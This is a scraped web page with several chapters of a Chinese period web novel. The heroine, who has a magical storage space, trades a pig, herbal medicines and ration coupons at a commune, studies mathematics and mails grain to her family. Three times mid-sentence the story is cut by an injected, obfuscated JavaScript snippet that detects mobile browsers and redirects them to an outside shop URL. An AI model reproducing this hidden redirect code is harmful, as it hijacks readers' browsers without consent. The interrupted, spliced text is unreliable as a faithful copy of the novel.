不管怎么样,白得一头猪真是她赚翻了。 “来了,谁呀?” “是我,上回来找过你的。” 院子里很快传来跑动的声音,没多会儿,门从里边儿打开了。 牛虻子还是那副样子,甚至因为天气又冷又干燥,看起来比之前更邋遢。 打过一次交道,牛虻子对林见春也没什么警惕心,直问她是不是缝纫机带过来了。 “是带过来了,不过这会还有点别的东西,你要不先去把方哥喊过来?” 牛虻子没多想,点了点头,反身把门一拉就跑出了巷子。 八旗街住户都是围了院子的,林见春打量了一圈,没发觉有人盯着,等牛虻子一跑远,她就在附近找了个角落把缝纫机和猪放了出来。 看着这么大一头猪,林见春深感发愁。 这么大一头猪她是没法一个人消耗掉的,只能找个借口把多的划给方哥,她只留一部分回去过个明路,这样过年也好吃肉。 方哥一听她带着缝纫机来了也是一刻没等就跟着牛虻子往回跑,等找到她所在的角落,看到多出来那么一大头猪,当场就愣了好半晌。 牛虻子更甚,瞠目结舌的样子逗得林见春想笑。 “方哥,你快来看看这东西你要不要? 方哥好悬回神,走过来盯着地上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070036|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猪发神,“不是……你家里养猪了?这猪我看着怎么像是刚杀的?” 林见春莫名心虚。 “签到”就是那么神奇,不管牛虻子院儿里的猪杀了有几天了,这猪进到她空间都只会是刚杀掉的样子。 幸好杀猪都是先放血,流掉的东西没法回来,不然还真不好解释。 不过嘴上可不兴说,林见春点了下头,“就是早上刚杀的,这不是家里缺钱吗?一家子都舍不得吃,想着拿来换钱还能置办点紧要的东西。” “行呀!这猪就给你算1块钱一斤,一会儿跟我进院子过秤。” 这猪放了血怎么也有二百来斤,方哥和牛虻子两个可抬不动,所以使了个眼色,牛虻子就跑回院子叫来了个半大小子。 这小子瘦精精的,跟方哥俩人抬着猪,表情看起来却比方哥还轻松。 林见春看着他脖子也没使劲儿爆出来的筋,就知道他的力气绝对比方哥大,一时也不知道该感叹这小子精棍儿,还是可怜方哥年纪大身体虚。 猪抬进院子,缝纫机也没必要在外面放着了。 牛虻子和林见春两个也抬不了,干脆就在这儿守着,等俩人放了猪再出来搬。 东西进了院子,林见春也跟着进了。 猪是摆在地上的,没有直接往称上放,也是等林见春走近了,方哥和那小子才合力把猪放到了秤盘上,指针一转,颤悠悠地停在了178斤的刻度上。 “嗯?” 看着指针,方哥托着下巴不知道在想什么,林见春只觉得头皮一紧,眼皮很眨了几下才放松下来。 “怎么了方哥?” “哦,你这猪跟我昨天收的那一头居然刚好一样重。嘿,还挺巧。” “哈,哈,那是挺巧的。” “成,1块钱1斤,这就是178块,加上缝纫机之前跟你说好了是110,一共给你288块,没错吧?” “等等方哥,这肉我看着不错,你帮我割18斤,回头我把钱添里头再拿回去。” 毕竟打着熟人的名头,人要卖整猪,她自然是不好意思问别人先割肉的,现在整猪过了称了,她再割,就算作从方哥手里买的了。 这个理由方哥诶道理怀疑,点了点头,直接给她割了6斤五花,12斤排骨。 “行了,那我再给你270块。” 猪五花好卖,方哥这么算,就是完全卖她人情了。 “那就谢谢方哥啦。” 今天算是收获满满,林见春想着年前再过来就是帮牛棚送草药换粮了,干脆问方哥还拿不拿出羊肉。 “冬天就喜欢喝一口滚烫的鲜汤,方哥看看能帮我弄多少?” “年底都紧巴巴的,羊肉最多给你10斤,多的我也得留一留,有几个人早说了想要。” “10斤足够了!” “行,我给你弄去,你等会儿的。” 人都进来了,方哥也不担心这个点位曝光了,直接进屋给割了10斤羊肉出来,篓子里还给多放了几节羊椎骨。 “最近羊肉涨价了,我还给你算2块一斤,不过这骨头肉我没剃干净,你拿回去烧个羊蝎子添个菜色。” 这倒是意外之喜。 林见春眉开眼笑,接过篓子拎在手里。 “谢谢方哥,钱你还从里面扣。” 方哥懒得数零钱,直接点了25大团结递给林见春。 “那我走啦,过段时间我会再送一次草药来,翻过年就得忙其他了,也不知道什么时候才有机会再来打扰方哥。” “没事儿,你得空就来这儿找我,不出大事儿我不会从这院子搬走。” 林见春见方哥不像无知无觉的样子,心里也稍微安定了一些,点了点头,拎着篓子出了院门。 多得了250块,加上三哥这回过来给了她50,短期内没啥用钱的地方,正好可以去信用社存300。 25. 酱厂 砂河公社东旺大队建厂啦! 2间厂办公室,3间生产仓库,能容纳4位干部和30个工人,比东湖大队的皂厂规模还大! 要说建厂谁最兴奋,那必然是东旺大队的老少爷们儿! 这新厂啊,连缺了条胳膊的老头儿也招,实在干不了体力活但肯卖力的婆子也行,而且工资还开得不低,第一批进厂的工人直接18块钱一个月,新进场的20个工人也能拿12一个月,干部就更多了,4个人都能拿32一个月! 以前谁敢想啊! 当然,敢开这么高的工资也是因为林知青老家的百货大楼订货了! 要得多! 好几千斤! 只要交完货拿到批条就能拿回真金白银! 吴村长私下里算过账的,这批订单干完,光分给公社的就有1300多块!大队能有五千好几! 这还是把每个月开出的工资除掉的结余。 纯利润! 老天! 这可都是要摊到工分分到他们手上的! 不敢想! 当真不敢想! 不止社员高兴,东旺大队的知青点也是兴奋了好几天。 厂子拟订4名干部,目前确定的只有1个公社公派下来坐班的,到时候另外3名干部指定要从大队选。 这可是可以直接摆脱农活的机会,如果大队长再把他们排除在外,他们绝对集合起来发起抗议! 当然,林见春不在打算集体抗议的知青内,她这小半年太独了,平时又不怎么上工,早被知青点直接排除在外。 她也不准备掺和。 牛队长现在满脑门热汗,就为酱厂将来的管理方式发愁,谁现在往上凑都是纯讨嫌。 看书不比去厂里卖力干活自在? 这段时间林见春都忙着看她三哥上回带过来的精选丛书,也不知道是哪位老师编写的,里头全是各种题型,只要钻透一道,相关的知识点再用到其他题型都不再是阻碍。 当然,这书也是得配合上一批书一起看的,有些知识点必须先从教学的书本上了解基础,基础牢靠才好应用,所以精选丛书更多还是起一个辅导作用。 林见春这边学得如痴如醉,酱厂的修建也进行得如火如荼,在1月底正式竣工。 期间合作社又给公社的副食品站送了一批剁椒酱,加上上一次的收益,正好满足了合作社为龙塘供货的前期资金,不然公社那边不会那么快松口让合作社转建为厂。 厂建成了,工人也基本配齐,接下来只需要再把干部定好,酱厂就能正式挂牌了。 徐三婶是合作社第一批工人,也是工人里的“技术人员”,按林见春的想法,直接安排她做个厂干也行,也不做别的,就做质检。 但徐三婶不乐意,她觉得自己没文化,连个字都写不全,真去做了厂干也是丢大队的脸。 林见春本意是让她自己争取,到时候牛队长指定会考虑,但徐三婶本身不愿意,牛队长肯定得从多方面考虑,就不一定能想到她身上来了。 不过也好,干部不是那么好当的,厂里的工人都是一个大队的乡里,徐三婶本身就没什么好口碑,到时候别再给闹成大问题了。 经过五天选拔,最后三名厂干部最终定了吴长红、刘跃进、李春景。 其中吴长红是吴村长的小儿子,本身是初中毕业,毕业之后做过一段时间工人,后来因为厂子倒闭回村务农。 刘跃进是一名退役军人,伤了腿,平时看不出问题,但一到阴雨天就痛得不好走路,看起来会有一些跛。 李春景不用说,知青里头唯一选出来的代表,牛队长实在找不到另一个可以代表厂干出来讲官话的人物,想着他的为人,干脆捏着鼻子给提拔起来了。 厂干部一定,1月30日,砂河酱厂正式挂牌了。 林见春也去现场凑了个热闹,别说,气氛一烘托那是真热闹。 厂办有了干部,有些事儿就该他们自己操心了,2月4日就是小年,她得帮牛棚那边把草药拿去换成粮,这样明年他们才不至于过得太难。 天冷了,牛棚这边没被分派多少活儿,上山的社员也基本都是扒拉能吃的野菜和柴火,林见春是直接没去,所以陶文斌带着几个老人天天上山,这段时间给攒下来不少。 “蒲公英5斤、积雪草8斤、野菊花2斤,土大黄也只有2斤。” 前三者算是普通草药,土大黄大概可以卖贵点儿,不过应该比不上黄精。 “这次能换到的应该比较多,还是全部换成粗粮吗?” 陶文斌笑着点了点头。 “林知青,那野菊花我单独分了一包出来,你看看要不要给帮忙换粮的人送些,这段时间也多亏他帮忙了。” 有了林见春帮忙,加上老师离开后,他们的粮足够五个人消耗,秋收过后活儿又不怎么费力,所以大家身上都长了些肉,再吃好点儿指不定会被人发现问题,还是求稳为好。 林见春心里有数了,把草药捆到车后座,趁着天光渐亮赶紧蹬着车出了大队。 现在天冷了,地里没啥活,大家都起得晚,所以早上过来也不怕被人注意到。 就是有点冷。 到了八旗街,林见春把车靠在牛虻子家门口,跳了好一阵才暖和起来。 年底方哥也忙,过了有半小时牛虻子才叫着人回来,见她在门口哈气也是按了按牛虻子的脑袋,才乐呵呵地跟她客气。 “下回来了你就进院儿里等着,外头干冷干冷的,别再冻感冒了。” 林见春也没客套,只说下次一定。 哪儿能真进去? 里头也不知道有些什么人,还存了不少东西,万一真出了问题,倒给人情全坏了。 避此不提,方哥和牛虻子上手把车后座的草药全卸了下来。 “主要是蒲公英、积雪草,野菊花也晒了一些,这东西解热,方哥留着明年夏天泡水喝,另外就是一些土大黄,大概2斤的样子,方哥你看看能换多少粗粮。” “还挺多,全换粗粮的话你一个人带得回去不?” 几种普通草药上了称,秤盘显示14斤,土大黄虽然比不上黄精价格,但也能多卖5毛,算下来一共97块。 年底粮食涨价,粗粮一斤能卖到2毛,这钱要全部换成粗粮得有485斤,靠自行车载回去恐怕有点麻烦。 林见春想了想,干脆让方哥帮忙给她分了85斤装进背篓,另外400斤左右各半,前前后后各放两袋绑到车上。 “这样就行了,我扶着车走,半道儿会有人来接的。” 方哥倒没多问,只皱着眉替她担心,“能行吗你这?” “放心,我走慢点儿就成。” 85斤粮食在背上的确有点难受,好在离了公社就能把东西收起来,累也累不了多会儿。 把人送出巷子,见林见春推着车确实还好,方哥才招呼着牛虻子回了院子。 粮太多,林见春也不敢明晃晃地往大队拉,而且这数量还不能一次性全带去牛棚,不然没法解释她是怎么一个人带这么多粮回大队还没被人发现的。 林见春估摸着还得多分几次来送,反正还要好几天才过小年,能赶上大年三十之前把粮分批送完就成。 在空间划分也不费事儿,林见春把485斤粗粮分成6份,准备先送两天,之后再骑着车出大队晃悠一下,借此打个掩护,再送第二次,这样只需要三次就能完全送完。 小宝在牛棚拜师的事儿也没藏着掖着,大队不少人都晓得,而且有了陶兴“摘帽子”这一出,加上徐三婶家的特殊性,大队也没人多嘴往外秃噜,甚至还有几家想跟着学,也是听说拜师礼是林见春帮着出的才退却了,毕竟那么多好东西拿去拜师实在不太值当,学得还好,要学不进去就是纯亏的。 有小宝在,林见春过去也不必遮掩了,车后座载着80斤粮直接去了牛棚,看见的也只说这是又给小宝做人情了,没往牛棚那些人身上联想。 牛棚里小宝学得正有劲儿。 鲁豫达、凤于飞和杨谯都是学者出生,文化底蕴不容小觑,仇梦却是理科大拿,在陶文斌辅导药理的同时还会教授一些生物学相关的知识。 林见春刚知道他们这授课方式时很是为小宝捏了一把汗,没想到小宝除了最初时有些摸不到门儿,有一天却突然像开了窍似的,真跟上了这几位老师的节奏。 可能这就是天才吧! “林知青来了?” “嗯,今天先换了一部分粮回来,后面我再找时间慢慢往回拉。” 仇梦道了谢,接过粮袋往存粮的地方搬。 “多亏你了。老陶回城之后一直在外就医,这几日寄了信来,说过年会给我们寄一批东西,里头有你的一份,就是得麻烦你跑一趟……” 仇梦说得有些脸热。 他们被查时家里基本都被抢砸干净了,银行存的户头也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076561|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被上报充公,感谢的话说了一遍又一遍也落不到实处。 老陶回去之后也是住在学生家里,现在上头形势愈发紧张,那学生接老陶回去就医已经是贸然之举,根本不可能再因为帮忙传信的恩情特意感谢,所以…… 唉! 林见春不知道面对面的人在想什么,不过只是帮忙拿一下邮寄的包裹而已,不比传信危险,多的都帮了,不缺这一回。 “回头我去公社邮局帮你们取。” 牛棚这边没什么好待的,小宝又在上课,送完东西林见春就径自回了徐三婶家。 大队建厂后,徐三婶一整日下来基本都得待在酱厂,不过大队社员的情况厂干都是清楚的,所以并没有修建独立食堂,只让工人每天早上8点到岗,11点就自主下班回家吃饭,等到下午1点再继续,如果活儿不紧张,就下午5点下班,干不过来就加班到7点。 现阶段,酱厂只需要给公社副食品站供货,保证每月400斤剁椒酱、200斤肉酱,外加500斤豆瓣酱的供给,而龙塘那边百货大楼的订单只需要4月交单,所以活儿实在算不上紧张,一到点儿徐三婶就能回家做饭,顺带还能给小宝送个午饭过去。 能请假、有吃喝,林见春就安心躲在屋里学习。 这小半年下来,《普通物理学》、《化学方程式》、《微积分学》、《高等代数》她都小有进度,唯独《高等数学引论》涵括太多高难度课程,她学起来十分困难。 不过精选丛书中的对应习题她已经基本摸透,接下来只要抓准节奏,几门课程都能在过年前有所成果。 可惜她这都是自学,也不知道成绩处于什么地步。 林见春在脑子里过了一遍以往相熟的人。 可惜她在校时几位老师也只是普通授课老师,本没有特别出众的成绩,家里唯一算得上学者的只有二哥,可二哥那边通信不便,真要写信去问二哥,说不定层层盘查下来,二哥反倒会因为她求问的内容被审查。 那还有谁可以请教呢? 林见春挠了挠头,突然反应过来老陶大夫回城或许就是她的一个机会! 他们这些人可都是首都来的! 上面虽然变动大,可也不是所有学者都被审查清算了,鲁豫达、仇梦、凤于飞和杨谯四人虽不是数学、物理方便的专家,可保不齐曾经有过交情的人里就有她能求问的对象呢! 想通了问题,趁着给牛棚送粮的机会林见春直接向四位老者请求帮助。 大队关于林见春的风言风语可不少,牛棚这边干活虽然不跟大部分社员在一起,可毕竟东旺大队就这么大点儿,他们只要不是完全不出牛棚范围,就总有机会听到风声。 林见春成天躲在屋里的事儿早就不是秘密,大队的社员或许没有多想,可知青点的人不都是傻子,所以猜过林见春躲在屋里不出门指定在干什么事儿,读书就是其中一种猜测。 只是大家都是下乡的知青,不管是自愿还是被逼无奈,不是多大仇,就不会有人真去GWH举报。 大队的人更没那么闲,少一个人挣工分他们就多领一份钱,而且他们对GWH本就存在敬畏,多大的事儿才会找过去给人举报? 所以林见春一提想交个笔友的想法,鲁豫达四人一点儿没犹豫,直接给她推荐了首都大学的教授。 “就是不知道你有没有确定学习方向?数理化虽然有着相通之处,但真往深里学,还是存在巨大差异的。” 这个问题林见春也考虑过了。 她更喜欢数学,研究数学的各类算法让她觉得很有意思,但物理和数学又是相依相存的,她的“背包”正是物理层面一种尤其特殊的存在,这样的空间如果运用于现实生活,那必将为生活和社会提供更有利的帮助,且用处并不单一,甚至可以用于更高维度的研究。 “我想先学好数学和物理,化学、生物更多还是运用于生活,我不太适合。” 仇梦闻言点头。 “那就找程老头。这程老头虽然脾气不好,但学术方面说是拔尖儿也不为过,你有什么问题可以直接写信问他,他会想办法帮你解答的。” 林见春一听姓程,不免将人跟三哥所说的“程老师”联系。 不过那套书近乎“禁书”,多一个人知道“程老师”就多一份危险,她没必要多这一嘴。 “谢谢,我回头写信向程老师问好。” “客气什么?能帮上你我们都觉得高兴。” 26. 300斤 有了方向,林见春就先把《化学方程式》给收起来了。 趁着年前要去公社取包裹,林见春把这段时间遇到的问题全部写进了信里,准备到时候顺道儿给寄去首都向程老师请教。 与此同时,林见春还写了一封信准备寄给大哥林剑锋,顺便把这段时间积攒的东西全部整理了一下,准备看看有哪些可以寄到海城去。 2月上旬就要过年,大哥大嫂提前寄了2月的补贴来,来信还说了个好消息——大嫂怀孕了! 家里终于要有小孩子了! 作为姑姑林见春不想再占了侄子侄女的口粮,所以这回写信也是告诉大哥别再给她寄钱票,她这儿不缺吃喝。 现在大队开着厂,她都会趁着出来遛弯儿的时候在酱厂的仓库附近“签到”,或许是因为基数较小,直接获取盐、糖、油的概率直线上升。 有时候她也会去吴村长家碰碰运气,不过小黄鱼确实不好获取,几乎都是很常规的米、面、蛋,唯独有两次运气好到不可思议,“签到”了吴村长家用来做熏肉的生鸡。 这鸡是还没腌好的,属于半生,所以进包的时候直接复原到了刚杀时的状态。 到目前为止,她的空间里除了这两只鸡,已经有228斤大米、10斤小麦面粉、46斤各类粗粮,油21斤、盐10斤、白糖4斤、蛋15个。 油这般多纯是因为酱厂的仓库里都是成桶堆放的,一桶就有5斤重,盐和白糖也是1斤一袋的,该是为了酱方用量特意分装的。 加上她之前还有6斤猪五花、12斤排骨、10斤羊肉、3斤羊椎骨,起码短期内是缺不了荤腥了。 就是洋油不够了。 冬季日短,太早了又睡不着,所以哪怕这段时间特意省着用,之前买的10斤灯油也用得只剩2斤了,接下来她还要在屋里猫冬,年前最后一次去公社一定要想办法换多一些才行。 其他东西,糖这段时间没怎么吃,奶糖还是30颗,硬糖还剩3整袋,水果罐头也还剩了4个。 干贝、干虾、干菜过年这段时间改善伙食就差不多能吃完了。 剩下1罐奶粉和1罐麦乳精,这次正好可以给大嫂寄过去。 奶粉、麦乳精都是没拆封的,寄起来也方便,其他东西反倒有些不好办了,生肉一路颠簸寄过去也怕变质长虫,油又拍摔,唯一能寄的就是米面。 偏她手里这些米面还真不太够,这次去公社干脆再找黄二姐想想办法,能买来一二百斤最好,到时候她这边再分100斤大米出来,一起给大哥大嫂寄过去。 除了东西,空间里还有不少现钱。 之前剩了零钱12块9毛,加上大哥大嫂这俩月给的补贴40元、三哥带过来的50元,还有卖整猪和缝纫机剩下的250元,一共352块9现钱。 钱多票少,爸给准备的10斤糖票和大哥大嫂随信寄过来的2斤肉票,林见春也打算全拿到黄二姐那儿换成粮票,再加上她手里的40斤粮票,这回买粮也贵不上多少。 买完米面应该还能剩不少钱,到时候再凑凑整存到存折里,等侄子侄女出生了,她这个做姑姑的也好给份儿厚厚的压床钱。 做好准备,林见春趁着小年去公社凑了个热闹。 这几年不兴过节,但春节毕竟是一年终了,所以公社的氛围还是很能看出喜悦和热闹的。 林见春直奔供销社用掉了今天的“签到”机会。 运气大差不差,没能获取她想要的奶粉或麦乳精,但又弄到了一盒雪花膏。 海城一到夏天就晒得很,这一盒雪花膏寄给大嫂用用也不错。 在供销社转了一圈,没看到奶粉和麦乳精,林见春只能失望离开。 黄二姐那边还在岗,林见春一进门也没说别的,直接就给她塞了一把混在一起的糖。 黄二姐一看手里奶糖好几颗,硬糖也是满满当当的,对林见春又喜欢又嫌弃。 喜欢是喜欢她大方,嫌弃也是嫌弃她太过大方。 “糖稀罕,你给自己留点儿吧!” 林见春也笑,“我还能亏着我自己啊?放心吧,还有呢!” 黄二姐拆了一颗糖塞嘴里,又给林见春嘴里塞了一口。 亏了有她这大手大脚的,她现在吃糖也不觉得心疼了,不会全留回家给老人孩子吃,毕竟她也需要甜甜嘴不是? “这快过年了,是打算过来买些粮?” “对,不过我这次买得有点多,不知道粮站这边最多能让个人买多少份额的粮?” 黄二姐一听,心里也是先打了个紧,不过一想,这姑娘也跟她打了这么久交道了,没出过什么幺蛾子,应该不至于出事。 “那你是想买多少?我看看我们几个相熟的姐妹儿能不能给你让点儿份额。” “大概要个一两百斤米面,但我只有40斤粮票,如果方便的话,我这儿有些糖票和肉票,姐你看看有没有相熟的朋友跟我换。” “……” 黄二姐心说这狮子开口难道就打个哈欠? “就要二百斤细粮?别的不要了?” 林见春也意识到自己要的这量听起来虽多,可对于有路子的人来说就是几家人的份额顺手倒腾一下而已。 “如果方便的话我还想打点儿洋油,乡里没通电,冬季日短,晚上做个啥都不方便,还得点油灯才行。” “这也好说,我找人给你匀几十斤都成。现在公社家家户户都用电,没电的时候也有蜡烛,很少再用煤油灯了,大家也愁之前发的那批洋油福利呢!” 林见春松了一口气,乐呵呵地把糖票和肉票拿了出来。 黄二姐本还以为她口说的票应该也没多少,结果一看光糖就能买个10斤,一时惊得瞪大了眼睛,再看肉票也有2斤,脱口便要林见春把肉票给她留着。 “妹儿你是有糖肉票的路子啊?这才没多久,咋又攒了这么多?” “这是我爸妈和哥哥嫂子们给的,他们都在单位,有正经份额,平时节礼也不少,这不,都匀给我了。” “那你家人还挺多啊?” 林见春打了幌子,“是呢,光哥嫂就是六个人,爸妈也还干得动,全家就我一个没工作纯享福,我一个人哪儿吃得消那么多糖、肉?所以想着换成粮给他们寄回去。” “是!是!得亏你孝顺,不然就你爸妈哥嫂这养法,不得早把你宠坏了?” 黄二姐家里人也不少,可大家都顾着自己的小家,还真做不到全家的好东西都塞给小姑子。 林见春也笑,“我家里人都很好。” 两人又闲扯了几句家常,黄二姐才意犹未尽地跟林见春说起了票。 这么些票她只要肉票,还给算4毛一斤,换成粮票就是8斤的份额,糖票也有人要,她可以先给垫上,算5毛一斤,换成粮票是10斤的份额。 所有票换下来就有116斤粮票了,加上林见春自己手头的40斤份额,再换个44斤粮票就能买到200斤粮。 “这44斤咱粮站的同事就能给你换出来,不过我得先问问他们怎么个换法。” 5分一斤的粮票份额是她给的人情,其他人跟林见春没交情,可不一定愿意。 能换林见春就已经很高兴了,点点头,只说自己能用清油和糖来换。 她手里的硬糖是什锦水果糖,平时没依着口味吃,都是囫囵一堆混着吃,黄二姐手里的就有三四种口味,所以基本能断定粮站里哪些人愿意换这东西。 “成,我先给你找近的来说。” 黄二姐让林见春在这儿坐着别乱走动,自己去了后头,没多会儿就带回来一男一女两个青年。 男的打算换糖。 他家里孩子多,但老人和同辈儿的兄弟姐妹都有正经工作,日子过得不算艰难,偶尔能吃点荤腥,但糖这东西不能当饭吃,也就馋了才会去供销社买上几颗,这回也是为了过年给孩子们甜甜嘴,想着机会难得,刚好能多换一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079895|193831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去。 林见春给了他几颗硬糖尝味儿。 糖是龙塘本地的糖厂生产的,南兴这边买不到,但水果糖口味大差不差,所以男青年尝过之后就定了要一整袋。 奶糖稀贵,尝味儿就不必了,黄二姐帮忙做了这个说客,男青年信她,直接跟林见春要了10颗。 “奶糖算5分钱一颗,硬糖是1分钱2颗,总的是15斤粮的份额。” 从粮站的工人手头换粮票也不必拿现票出来,每个工人都有自己的份额挂在粮站,到时候一笔账记下,再从后头的份额扣掉就成。 男青年在粮本上签了字,抱着糖走了。 旁边等着换油的女青年却是被这个糖价给吓住了。 她家条件算不上好,从小到大知晓的就是“糖金贵”、“粮油划算”,所以脑子里只有糖比米面粮油还贵的念头。 现在一看有人用十几斤的粮食份额就换到了一大袋糖,而且这里头占大头的还是那十来颗不占分量的奶糖,当时便只感觉自己的信念都受到了冲击。 她是粮站的正式工,一个月工资能有37块,还有不少粮食份额,那一大袋水果硬糖才值当5斤,怎么可能不心动?! 算算油价9毛钱,换2斤需要36斤粮食份额,少吃一顿就能换到一大包糖,不换岂不亏了?! “妹子……多出来的份额你要吗?我想换2斤油,一整袋儿水果糖。” 林见春往外换的东西都是不计票证价值的,2斤油和1袋糖就是41斤的份额,加上先换的15斤份额也就多出了十几斤。 这份额根本不算什么,多了也就多了,所以林见春点头应了下来,权当给黄二姐面子。 黄二姐跟这女青年的关系看来确实不错,见她舍得换糖,满脸欣慰,还从自己兜里摸了1颗奶糖出来,有些肉痛地塞到了她嘴里。 “早劝你对自己好点,你家里那几个弟弟又不是吃白饭的,有你爹妈自个儿操心,这回是想通了吧?” 女青年被说得脸热,碍于林见春在场,倒不好跟黄二姐多扯,快速在本儿上签下自己的名字,就抱着林见春从背篓里取出来的一壶清油和糖袋儿跑了。 黄二姐追着笑了她两句,这才回头给林见春划起了粮。 “成了,今儿的事姐也给你办好了,一共214斤粮,全都要大米吗?” “对,麻烦姐叫人帮我分装成两袋,我捆在车后座载去邮局。” 这粮转头就得寄出去,所以也没必要再塞进空间倒一下了。 “成,我叫人给你捆去,你一会儿先去邮局,我去给你问洋油去。” 214斤大米,省了粮票一共花去34块,林见春去邮局的路上找了个角落把之前的大米给分了86斤出来,凑够300斤一起寄了出去。 大米量大,有些打眼,林见春又去外头晃了一圈,披了身特意放在空间里作伪装用的衣服,又换了条围巾把半张脸重新围起来,这才把自行车收进空间,抱了奶粉和麦乳精、雪花膏过去单独寄。 果然,300斤粮没太引起注意,奶粉却让邮局的干部跑出来看了稀奇。 “咱们砂河公社居然也有奶粉往外售啊!同志,你这奶粉能不能换给我?” “……这是给我侄子寄的,大嫂在海城随军照顾我哥,这不,生了,爸妈又都是干部,单位离不得,只能弄些东西让我给大嫂寄过去了。” 一听什么海城、随军、爸妈都是干部,邮局干部的心思也歇了。 “是得寄,奶粉大补,吃了对大人孩子都好。” 林见春笑了笑,埋头在单子上写了部队地址和大哥的职称,又把先写好的信贴了邮票,一同交给了邮递员。 看到这地址和职称,邮局干部也懒得看了,背着手去了后边儿。 东西寄出,林见春又找了个地方换了衣服和围巾,取出自行车绕了一圈进了邮局。 这回就是帮牛棚的人取包裹了,顺便给首都的程老师寄信。 27. 团年 首都寄来的包裹是比较厚重的一箱,总不好带着去粮站,所以林见春还是先找了个隐蔽处把东西收进了空间,这才轻车简行回了粮站。 伪装往返几次,黄二姐这边也已经带着好消息回粮站等着了。 “给你问到了60斤,这洋油不能吃不能喝的,放着也是白费,我那几个姐们儿也不多收你的,你看你还有什么东西能换,我给你算算怎么个换法。” 林见春着实惊到了。 她本以为公社这边通了电,这灯油顶多就能给她换来个二三十斤,结果黄二姐实在厉害,直接给她弄来了60斤! 东西都弄到了,她也不能白费黄二姐的人情,可她现在还真拿不出多少好东西来了,就连糖也只剩了25颗奶糖、35颗硬糖。 油、盐、白糖这三样倒是也能换,可盐还好,供销社不要票就能买到,白糖的量也不大,唯一不好解释的是油,她一个下乡知青实在不该拿到太多食用油。 林见春缩着脖子挠了一下头,这又注意到那孤零零的3支铅笔和那一叠本子。 自从有了三哥送的钢笔和墨水,她学习时就少用铅笔了,就是不知道人家愿不愿意。 还有就是水果罐头,这东西是海城过来的稀罕物,拿来换灯油却是不好定价的。 想了想,林见春干脆把难题丢给了黄二姐。 “我这儿富余的还有4斤清油、4斤白糖、3支铅笔,姐你帮我看看能怎么个换法呢?实在不行,我这儿还有2罐哥嫂之前给我寄的水果罐头,海城来的,我也不知道里头搭了多少钱票和人情。” “啥?啥罐头?” 南兴也有罐头厂,但罐头厂主营肉罐头和军工罐头,水果罐头也做过几年,只是投入和回报相差太大,之后就干脆停止了生产。 林见春直接借着背篓的掩饰抱出了一个罐头。 这罐头大概女同志脑袋大小,里面装满了黄橙橙的果肉和糖水,黄二姐一看脑子里就有了大概的价值,再一盘算,两罐全拿下怕是还得倒贴。 “妹儿,姐跟你说实话,这罐头太金贵了,60斤洋油可打不住啊!” 林见春也算了一笔账。 4斤清油不算票就是3块6,4斤白糖3块2,铅笔才3分钱一支,而洋油的价格是3毛8一斤,哪怕是大家用不上的,给她往便宜了算,那60斤也少说得要21块,也就是说,她把糖、油、铅笔给了,还得再补价值13块3的东西。 水果罐头在这边难见,但在海城却不是什么稀罕的,以前大哥回来探亲时说过,海城的水果多到吃不完,所以才做了罐头往外销,实际成本全在运送难度上。 她手里这几罐水果罐头都是走邮局发过来的,路上有损耗,但实际成本比不过车队运输,2罐抵消十几块钱的东西,林见春也昧不下良心说自己亏。 当然,这话也不能傻到跟黄二姐坦白,所以林见春大方地把两个罐头都推给了黄二姐,权当自己是看在她的面子上愿意吃这亏了。 黄二姐心绪复杂,可这东西是万万不能往回推的。 “妹子你以后就是姐亲妹子,东西我也不叫你收回去了,拿出来怪麻烦的,一会儿姐再给你捎10斤白面和10斤花生,你带回去吃个新鲜。” 白面比大米还难买,花生也是榨油的主材,黄二姐这回送出的人情确实落到实处了。 林见春没推辞。 她喜欢大白米饭多过白面,不过白面也能煎饼子、做包子馒头,比直接揉了面打面条好吃,拿回去让徐三婶处理也不错。 花生倒是可以给大嫂寄过去,正好怀着孕饿得快,不趁手的时候吃几颗花生也能稍微顶点儿事。 “那就谢谢黄二姐了。” “嗐!该我说谢谢才是!” 刚走过三趟邮局,今天却是不好再去了。 林见春把洋油装进背篓里背着,面粉、花生将就黄二姐给的篓子和车后座的大包裹捆在一起,等出了公社,绕了几圈找地方把东西全部收进空间,才又一头钻进了信用社。 今天这钱没怎么花用,杂七杂八地进出,现钱竟还剩了318块之多。 接下来很长一段时间林见春都不打算再去“小黑街”,所以这钱她打算存上300,留个18块的现钱应急就行。 存了钱出来,林见春也没在公社多待,蹬着车一路往大队赶,等到临近大队时才腾出20斤面粉、15个鸡蛋、3斤盐、5斤油、3斤羊椎骨、2斤排骨、1只鸡轻轻松松地回了徐三婶家。 这些也算过了明路,过年能好好吃一顿鲜。 